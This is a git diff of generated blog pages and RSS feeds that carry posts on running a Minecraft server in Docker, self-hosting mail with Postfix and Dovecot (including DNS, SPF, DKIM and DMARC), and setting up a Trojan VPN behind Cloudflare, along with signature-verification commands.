+TTiwtJ/jLLbX+NfycW9qR6gVxloO35QA90AY7050tOgAsyH+YUn+Rtj2KVj91E0o
+VzljG7RAly7yTe+yxzC6OO+iCJvLS6OpLEN5oIG9CmRm5cw/qB2rl8g/Qsru0t7/
+OrTnJ8fJqq+XRhBet/eR4zogcSEo7fTMp0pDdapMYkO3Xe5VPQ/3Gu7xr8utoXXZ
+N6VbRTRfq2Vnp+A9NshVsaKqXXaXsAL8GivMk37/bqteZ2BWedvzk1PpGf3f9HS8
+700JFbZi9uEECoxtnv0uK67i8lkax/gsiTiGdjmx5mzfXfUQXVM=
+=QlNw
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md
+curl -fSLO https://blog.alipour.eu/sources/posts/tor_clearnet_blog.md.asc
+gpg --verify tor_clearnet_blog.md.asc tor_clearnet_blog.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/devops/page/1/index.html b/public-clearnet/categories/devops/page/1/index.html new file mode 100644 index 0000000..8c7b06e --- /dev/null +++ b/public-clearnet/categories/devops/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/devops/ + \ No newline at end of file diff --git a/public-clearnet/categories/games/index.html b/public-clearnet/categories/games/index.html new file mode 100644 index 0000000..fa5b71f --- /dev/null +++ b/public-clearnet/categories/games/index.html @@ -0,0 +1,11 @@ +Games | AlipourIm journeys +

Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

September 29, 2025 · 3 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/games/index.xml b/public-clearnet/categories/games/index.xml new file mode 100644 index 0000000..a011270 --- /dev/null +++ b/public-clearnet/categories/games/index.xml @@ -0,0 +1,166 @@ +Games on AlipourIm journeyshttps://blog.alipour.eu/categories/games/Recent content in Games on AlipourIm journeysHugo -- 0.146.0enMon, 29 Sep 2025 09:06:29 +0000Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

+
    +
  • failed to register layer: ... no space left on device
  • +
  • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
  • +
  • Wanting config in a neat .env and no whitelist
  • +
+

Here’s exactly what I did.

+
+

Folder layout

+
~/minecraft/
+├─ docker-compose.yml
+├─ .env
+└─ plugins/
+

+

.env (secrets & knobs)

+

Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

+
# Minecraft server configuration
+EULA=TRUE
+TYPE=PAPER
+VERSION=LATEST
+MEMORY=4G
+USE_AIKAR_FLAGS=true
+
+# RCON (remote console)
+ENABLE_RCON=true
+RCON_PASSWORD=superSecretPassword123
+
+

I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

+
+

docker-compose.yml

+
services:
+  mc:
+    image: itzg/minecraft-server:latest
+    container_name: mc
+    restart: unless-stopped
+    ports:
+      - "25565:25565"        # Java
+      - "19132:19132/udp"    # Bedrock via Geyser plugin
+    env_file:
+      - .env
+    volumes:
+      - mc-data:/data
+      - ./plugins:/plugins:ro
+volumes:
+  mc-data: {}
+
+

The version: key in Compose is obsolete now, so I dropped it.

+
+

Add Geyser (and optional Floodgate) as plugins

+
mkdir -p ~/minecraft/plugins
+cd ~/minecraft/plugins
+
+# Geyser (Spigot/Paper)
+wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
+
+# Floodgate (optional: Bedrock accounts without Java linking)
+wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
+

Start it up:

+
docker compose up -d
+

On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

+
+

Hit a wall: /var ran out of space

+

Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

+
/dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
+

Quick cleanup

+
docker system df
+docker system prune -f
+docker builder prune -af
+sudo apt-get clean
+sudo journalctl --vacuum-size=100M
+

If that’s not enough, you have two good options:

+

Option A — Move Docker’s data off /var

+
sudo systemctl stop docker
+sudo mkdir -p /home/docker
+sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
+echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
+sudo systemctl start docker
+docker info | grep "Docker Root Dir"
+

If all looks good, free the old space:

+
sudo rm -rf /var/lib/docker/*
+

Option B — Grow /var (LVM)

+

Check free space in the VG:

+
sudo vgdisplay   # look for "Free PE / Size"
+

If available, extend /var by +5G:

+
sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
+sudo resize2fs /dev/mapper/ubuntu--vg-var
+

+

The version mismatch: pre-release vs stable

+

My logs showed:

+
Starting minecraft server version 1.21.9 Pre-Release 2
+

That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

+
    +
  1. Ensure .env has: +
    VERSION=LATEST_RELEASE
    +
  2. +
  3. Recreate: +
    docker compose down
    +docker compose pull
    +docker compose up -d
    +
  4. +
  5. Verify: +
    docker logs mc | grep "Starting minecraft server version"
    +# -> Starting minecraft server version 1.21.1   (example)
    +
  6. +
+
+

Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

+
+

No whitelist

+

Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

+
docker exec -it mc rcon-cli "op YourJavaIGN"
+

(or edit /data/ops.json).

+
+

Backup & updates

+
    +
  • World/data live under the mc-data volume → back up /data regularly.
  • +
  • Update cleanly: +
    docker compose pull && docker compose up -d
    +
  • +
  • Watch space: +
    watch -n5 'df -h /var; docker system df'
    +
  • +
+
+

TL;DR

+
    +
  • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
  • +
  • Keep configs in .env.
  • +
  • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
  • +
  • Verify version in logs after each change.
  • +
+

Happy block-breaking! 🧱🚀

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
+jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
+Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
+0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
+7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
+JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
+OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
+s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
+g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
+NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
+F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
+sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
+=NmxL
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
+curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
+gpg --verify minecraft_server.md.asc minecraft_server.md
+  
+
+ + +]]>
\ No newline at end of file diff --git a/public-clearnet/categories/games/page/1/index.html b/public-clearnet/categories/games/page/1/index.html new file mode 100644 index 0000000..369068d --- /dev/null +++ b/public-clearnet/categories/games/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/categories/games/ + \ No newline at end of file diff --git a/public-clearnet/categories/guides/index.html b/public-clearnet/categories/guides/index.html new file mode 100644 index 0000000..d332f7c --- /dev/null +++ b/public-clearnet/categories/guides/index.html @@ -0,0 +1,21 @@ +Guides | AlipourIm journeys +

Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

July 24, 2026 · 17 min · Iman Alipour +

Stealth Trojan VPN Behind Cloudflare Guide

Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

September 9, 2025 · 4 min · Iman Alipour +
HedgeDoc collaborative editing

Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt

HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS. +Prerequisites A Linux server with Docker and Docker Compose A domain name pointing to your server (e.g. notes.alipourimjourneys.ir) Nginx installed for reverse proxying Certbot for Let’s Encrypt certificates 1. Create the project directory mkdir ~/hedgedoc && cd ~/hedgedoc 2. Create .env POSTGRES_PASSWORD=ChangeThisStrongPassword HD_DOMAIN=notes.alipourimjourneys.ir Generate a strong password with: +...

August 29, 2025 · 2 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/guides/index.xml b/public-clearnet/categories/guides/index.xml new file mode 100644 index 0000000..85e8352 --- /dev/null +++ b/public-clearnet/categories/guides/index.xml @@ -0,0 +1,473 @@ +Guides on AlipourIm journeyshttps://blog.alipour.eu/categories/guides/Recent content in Guides on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

+

I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

+

By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

+
+

Why I bothered

+

Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

+

I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

+
+

How email actually moves

+

Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

+

Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

+

When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

+

Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

+

OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

+

Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

+

Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

+
+

The shape of my setup

+

On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

+

Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

+
+

Port 25 is for servers; port 587 is for people

+

This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

+

Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

+

Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

+

I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

+
+

What an “open relay” is, and why localhost lies to you

+

An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

+

Here’s the trick that wastes afternoons: testing from 127.0.0.1.

+

Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

+

So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

+

Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

+
+

DNS, but make it human

+

The forward map (name → number)

+

You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

+

I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

+

Why Cloudflare’s orange cloud is not invited

+

Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

+

Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

+
+

PTR records: the phonebook in reverse

+

This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

+

Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

+

Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

+

So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

+

You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

+
+

SPF, DKIM, and DMARC: three different questions

+

People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

+

SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

+

DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

+

DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

+

Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

+

Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

+
+

Building the unglamorous core

+

On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

+

Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

+

I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

+

When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

+
+

The Matrix certificate heist (that wasn’t a heist)

+

Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

+

No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

+

When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

+

Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

+

The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

+
+

From Linux users to real mailboxes

+

The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

+

So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

+

Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

+

One setting decides whether this feels cursed or calm: mydestination.

+

That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

+

PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

+

One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

+
+

Webmail without losing the plot

+

Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

+

I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

+

The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

+
+

The bounce emails that taught me about identity

+

After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

+

The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

+

Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

+

And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

+
+

What “done” means for me

+

For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

+

Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

+

If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

+
+ + +
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
+iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
+jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
+TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
+HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
+NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
+4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
+4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
+HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
+O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
+0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
+iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
+VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
+=KCRU
+-----END PGP SIGNATURE-----
+
+

Verify locally:

+
curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
+curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
+gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
+  
+
+ + +]]>
Stealth Trojan VPN Behind Cloudflare Guidehttps://blog.alipour.eu/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200https://blog.alipour.eu/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
+Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

+

This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

+

We’ll anonymise domains and secrets, so substitute with your own:

+
    +
  • VPN domain: web.example.com
  • +
  • Panel domain: panel.example.com
  • +
  • Secret WS path: /stealth-path_abcd1234
  • +
  • Password: <PASSWORD>
  • +
+
+

Architecture at a Glance

+

Think of it as a disguise party:

+
    +
  • Trojan = the shy guest (your VPN protocol)
  • +
  • Nginx = the bouncer checking IDs (reverse proxy)
  • +
  • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
  • +
  • Your fake website = the mask (camouflage page)
  • +
+

Traffic flow:

+
Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
+

+

Step 1: Panel Setup (panel.example.com)

+
    +
  • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
  • +
  • Choose a funky web base path like /panel-bananas_42/.
  • +
  • Proxy it through Nginx with HTTPS + Basic Auth.
  • +
  • Test it at https://panel.example.com/panel-bananas_42/.
  • +
+

Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

+
+

Step 2: Trojan Inbound

+
